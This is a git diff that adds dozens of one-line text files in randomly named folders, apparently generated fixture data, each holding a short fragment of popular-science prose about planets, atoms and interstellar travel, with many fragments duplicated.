index 0000000..75353ed
--- /dev/null
+++ b/big_zip/big-zip-files/folder_fzvuudytnf/folder_saxyhgkukm/folder_lswkdtgvnl/folder_mbwmggtbtm/ybkpuysyvyefnnr.txt
@@ -0,0 +1 @@
+single and double straight lines crisscrossing the bright areas of the planet. Canali in Italian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/alifaebyezkfuzrmhmoq.txt b/big_zip/big-zip-files/folder_geompbqzxd/alifaebyezkfuzrmhmoq.txt
new file mode 100644
index 0000000..1ad9b8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/alifaebyezkfuzrmhmoq.txt
@@ -0,0 +1 @@
+birth of Philoe. The 10th year of Antoninus Caesar the lord, Phamenoth 15 to 16, first hour
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/bqsyxhhvqqwqohz.txt b/big_zip/big-zip-files/folder_geompbqzxd/bqsyxhhvqqwqohz.txt
new file mode 100644
index 0000000..cb81112
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/bqsyxhhvqqwqohz.txt
@@ -0,0 +1 @@
+and intelligence. If the laws of nature are unpredictably reassorted at the cusps, then it is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_afvydpbzup.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_afvydpbzup.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_afvydpbzup.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_bicfxyjngsqbeavntablea.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_bicfxyjngsqbeavntablea.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_bicfxyjngsqbeavntablea.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_enhbmhdykghcokdbrmsuuu.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_enhbmhdykghcokdbrmsuuu.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_enhbmhdykghcokdbrmsuuu.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_fbyjqhsnvocy.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_fbyjqhsnvocy.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_fbyjqhsnvocy.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_gskrxdhbszvojzphhihsrd.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_gskrxdhbszvojzphhihsrd.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_gskrxdhbszvojzphhihsrd.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_hangsgsopibbmrshg.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_hangsgsopibbmrshg.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_hangsgsopibbmrshg.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_hschuzasqbpzheqqqmn.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_hschuzasqbpzheqqqmn.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_hschuzasqbpzheqqqmn.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_kedpmsajhx.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_kedpmsajhx.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_kedpmsajhx.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_kzcdrjawdxcoctvqmu.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_kzcdrjawdxcoctvqmu.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_kzcdrjawdxcoctvqmu.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_mvclarbqmxyqgfdgnk.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_mvclarbqmxyqgfdgnk.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_mvclarbqmxyqgfdgnk.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_rnhfttomytv.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_rnhfttomytv.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_rnhfttomytv.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_vybpphfrqfnadwj.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_vybpphfrqfnadwj.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_vybpphfrqfnadwj.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_wsboehavsdxvskhs.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_wsboehavsdxvskhs.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_wsboehavsdxvskhs.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_zmedxnxzqatwo.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_zmedxnxzqatwo.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_zmedxnxzqatwo.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/file_zntavzjfbdfezw.txt b/big_zip/big-zip-files/folder_geompbqzxd/file_zntavzjfbdfezw.txt
new file mode 100644
index 0000000..70b3dc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/file_zntavzjfbdfezw.txt
@@ -0,0 +1 @@
+watching how they bounce off. A typical atom has a kind of cloud of electrons on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/hmrpoovsnln.txt b/big_zip/big-zip-files/folder_geompbqzxd/hmrpoovsnln.txt
new file mode 100644
index 0000000..895a0f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/hmrpoovsnln.txt
@@ -0,0 +1 @@
+writers.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/iihaismwfqvtbsrkp.txt b/big_zip/big-zip-files/folder_geompbqzxd/iihaismwfqvtbsrkp.txt
new file mode 100644
index 0000000..ab03583
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/iihaismwfqvtbsrkp.txt
@@ -0,0 +1 @@
+impact craters. We are looking at a fresh planetary landscape, a surface newly hatched.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/iiyrnrzdh.txt b/big_zip/big-zip-files/folder_geompbqzxd/iiyrnrzdh.txt
new file mode 100644
index 0000000..c4911a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/iiyrnrzdh.txt
@@ -0,0 +1 @@
+areas, a hint of polar cap, and canals, a planet festooned with canals. Lowell believed he
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/ijkrfnpqrsxdxumavqfcm.txt b/big_zip/big-zip-files/folder_geompbqzxd/ijkrfnpqrsxdxumavqfcm.txt
new file mode 100644
index 0000000..e453ce6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/ijkrfnpqrsxdxumavqfcm.txt
@@ -0,0 +1 @@
+something about our libraries to other beings who might sail the sea of interstellar space.But we did not want to send primarily scientific information. Any civilization able to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/inrvzbebtofmybsd.txt b/big_zip/big-zip-files/folder_geompbqzxd/inrvzbebtofmybsd.txt
new file mode 100644
index 0000000..7966044
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/inrvzbebtofmybsd.txt
@@ -0,0 +1 @@
+alarmingly dim, and it became apparent that M31 was a prodigious distance away, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/isiygovhpc.txt b/big_zip/big-zip-files/folder_geompbqzxd/isiygovhpc.txt
new file mode 100644
index 0000000..7100704
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/isiygovhpc.txt
@@ -0,0 +1 @@
+* The Aztecs foretold a time ‘when the Earth has become tired. . ., when the seed of Earth has
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/jmjnirarpwgqworzh.txt b/big_zip/big-zip-files/folder_geompbqzxd/jmjnirarpwgqworzh.txt
new file mode 100644
index 0000000..b993c33
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/jmjnirarpwgqworzh.txt
@@ -0,0 +1 @@
+inexorable. Eventually the oceans will boil, the atmosphere will evaporate away to space
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/kisphkzaznsuhbi.txt b/big_zip/big-zip-files/folder_geompbqzxd/kisphkzaznsuhbi.txt
new file mode 100644
index 0000000..4939140
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/kisphkzaznsuhbi.txt
@@ -0,0 +1 @@
+Pacific Standard Time on this morning, the first pictures of a new world, called Europa
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/lpdneoxxfwrodghaxpymvck.txt b/big_zip/big-zip-files/folder_geompbqzxd/lpdneoxxfwrodghaxpymvck.txt
new file mode 100644
index 0000000..72b66d7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/lpdneoxxfwrodghaxpymvck.txt
@@ -0,0 +1 @@
+For this and many other reasons we have rules. Everyone must obey the rules. We have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/nozumgtifavxgcrtuis.txt b/big_zip/big-zip-files/folder_geompbqzxd/nozumgtifavxgcrtuis.txt
new file mode 100644
index 0000000..ef74ea8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/nozumgtifavxgcrtuis.txt
@@ -0,0 +1 @@
+These are serious planets, not fragmentary worldlets like the Earth. A thousand Earths
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/pbkzzwjhhjab.txt b/big_zip/big-zip-files/folder_geompbqzxd/pbkzzwjhhjab.txt
new file mode 100644
index 0000000..5a84447
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/pbkzzwjhhjab.txt
@@ -0,0 +1 @@
+* The laws of nature cannot be randomly reshuffled at the cusps. If the universe has already gone
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/pcbqrahgh.txt b/big_zip/big-zip-files/folder_geompbqzxd/pcbqrahgh.txt
new file mode 100644
index 0000000..f0d28dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/pcbqrahgh.txt
@@ -0,0 +1 @@
+The designs for Orion, Daedalus and the Bussard Ramjet are probably farther from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/ppbduljlrx.txt b/big_zip/big-zip-files/folder_geompbqzxd/ppbduljlrx.txt
new file mode 100644
index 0000000..9cf2fa9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/ppbduljlrx.txt
@@ -0,0 +1 @@
+Mercury and Venus.’ Mars does have two small moons, and a major geological feature on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/qqiihtjvme.txt b/big_zip/big-zip-files/folder_geompbqzxd/qqiihtjvme.txt
new file mode 100644
index 0000000..37417eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/qqiihtjvme.txt
@@ -0,0 +1 @@
+brilliant with its own brightness. By it the gods go to the dwelling of the great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/tzjhsrdsyyoq.txt b/big_zip/big-zip-files/folder_geompbqzxd/tzjhsrdsyyoq.txt
new file mode 100644
index 0000000..02af6b3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/tzjhsrdsyyoq.txt
@@ -0,0 +1 @@
+diffuse clouds of electrons, protons and neutrons, and gravitating spheres of elementary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/uebifmekxpodfxo.txt b/big_zip/big-zip-files/folder_geompbqzxd/uebifmekxpodfxo.txt
new file mode 100644
index 0000000..32a00a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/uebifmekxpodfxo.txt
@@ -0,0 +1 @@
+planet about the Sun, measured in years, and a the distance of the planet from the Sunmeasured in ‘astronomical units.’ An astronomical unit is the distance of the Earth from the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/vffldgdilrp.txt b/big_zip/big-zip-files/folder_geompbqzxd/vffldgdilrp.txt
new file mode 100644
index 0000000..80087db
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/vffldgdilrp.txt
@@ -0,0 +1 @@
+British Interplanetary Society designed a ship to take people to the Moon - using 1939
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_geompbqzxd/wnqqaftrozwevc.txt b/big_zip/big-zip-files/folder_geompbqzxd/wnqqaftrozwevc.txt
new file mode 100644
index 0000000..d0c56d3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_geompbqzxd/wnqqaftrozwevc.txt
@@ -0,0 +1 @@
+worked. No sufficiently powerful and lightweight engine then existed. The designs,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_avdzhjkgbrbbjfaoxy.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_avdzhjkgbrbbjfaoxy.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_avdzhjkgbrbbjfaoxy.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_dmclbopb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_dmclbopb.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_dmclbopb.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_fajukbgrjzyfibwifugfnoqk.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_fajukbgrjzyfibwifugfnoqk.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_fajukbgrjzyfibwifugfnoqk.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_gvsczcxxslfedfmvqkqu.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_gvsczcxxslfedfmvqkqu.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_gvsczcxxslfedfmvqkqu.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_hzlihtbs.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_hzlihtbs.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_hzlihtbs.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_hzwrkxzv.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_hzwrkxzv.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_hzwrkxzv.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_jzamqczysfclmskuqzaedql.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_jzamqczysfclmskuqzaedql.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_jzamqczysfclmskuqzaedql.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_mfdzhzzhqwynqdpljwsrpb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_mfdzhzzhqwynqdpljwsrpb.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_mfdzhzzhqwynqdpljwsrpb.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_rhbgnhbfaf.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_rhbgnhbfaf.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_rhbgnhbfaf.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_smtteqarrjsxawefyitidvnv.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_smtteqarrjsxawefyitidvnv.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_smtteqarrjsxawefyitidvnv.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_vermdgddj.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_vermdgddj.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_vermdgddj.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_viinzccxcdvmmstujtcej.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_viinzccxcdvmmstujtcej.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_viinzccxcdvmmstujtcej.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_voajmhquyzwrnkptsoo.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_voajmhquyzwrnkptsoo.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_voajmhquyzwrnkptsoo.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_vtgcibknjxbfkplys.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_vtgcibknjxbfkplys.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_vtgcibknjxbfkplys.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_vwjnnwjluwtuedicqgr.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_vwjnnwjluwtuedicqgr.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_vwjnnwjluwtuedicqgr.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/file_yvqenyeiucoaeiriqnjkywrb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/file_yvqenyeiucoaeiriqnjkywrb.txt
new file mode 100644
index 0000000..5bf9517
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/file_yvqenyeiucoaeiriqnjkywrb.txt
@@ -0,0 +1 @@
+It would be easy for extraterrestrials to make an unambiguously artificial interstellar
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_dmhtxoorimlgbqlbigusu.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_dmhtxoorimlgbqlbigusu.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_dmhtxoorimlgbqlbigusu.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_jjdgqasjpzmwytywil.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_jjdgqasjpzmwytywil.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_jjdgqasjpzmwytywil.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_ndsatxbrhoujmraspjqsynzj.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_ndsatxbrhoujmraspjqsynzj.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_ndsatxbrhoujmraspjqsynzj.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_nuyttlrzsbpxlvpygtkfgj.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_nuyttlrzsbpxlvpygtkfgj.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_nuyttlrzsbpxlvpygtkfgj.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_nvuomjthkhhbdxyetecc.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_nvuomjthkhhbdxyetecc.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_nvuomjthkhhbdxyetecc.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_qvguxnrtd.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_qvguxnrtd.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_qvguxnrtd.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_tjjhjylestvg.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_tjjhjylestvg.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_tjjhjylestvg.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_uteereotlnlnyyzxbuas.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_uteereotlnlnyyzxbuas.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_uteereotlnlnyyzxbuas.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_vhuddrwewuqeyodsc.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_vhuddrwewuqeyodsc.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_vhuddrwewuqeyodsc.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_xqxuimoy.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_xqxuimoy.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_xqxuimoy.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_zlwmuwjygnlb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_zlwmuwjygnlb.txt
new file mode 100644
index 0000000..e4af173
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/file_zlwmuwjygnlb.txt
@@ -0,0 +1 @@
+fellows), or of the intentions of others, but never ourselves, to conquer the world. Every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_aqwmfdyazuumz.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_aqwmfdyazuumz.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_aqwmfdyazuumz.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_bjqkhorcchjtgm.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_bjqkhorcchjtgm.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_bjqkhorcchjtgm.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
